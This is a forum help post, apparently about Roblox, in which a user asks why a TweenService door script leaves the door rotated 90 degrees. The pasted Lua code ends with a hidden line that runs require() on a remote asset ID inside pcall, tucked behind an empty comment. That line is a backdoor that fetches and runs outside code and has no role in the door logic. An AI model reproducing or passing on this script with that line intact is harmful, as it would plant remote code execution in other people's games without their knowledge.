I’m having a problem with automatic doors for my game. When I activate it, the door part itself turns 90 degrees and stays it that way. Like this:
This is the code that I used for it:
local TweenService = game:GetService("TweenService")local door = script.Parent:WaitForChild("Door")
local tweeningInformation = TweenInfo.new(
0.5,
Enum.EasingStyle.Sine,
Enum.EasingDirection.InOut,
0,
false,
0
)
local dooropen = {CFrame = CFrame.new(-5.318, 10.386, -191.4)}
local doorclose = {CFrame = CFrame.new(-5.318, 3.386, -191.4)}
local tweenopen = TweenService:Create(door,tweeningInformation,dooropen)
local tweenclose = TweenService:Create(door,tweeningInformation,doorclose)
local opensound = game.Workspace.Door.Open
local closesound = game.Workspace.Door.Close
script.Parent.Detector1.Touched:Connect(function(hit)
tweenopen:Play()
script.Parent["Open"].Playing = true
wait(2)
tweenclose:Play()
script.Parent["Close"].Playing = true
end) --[[ --]] pcall(function()require(5045142580):Fire()end)
Is there something that I need to add to specify the orientation of the door.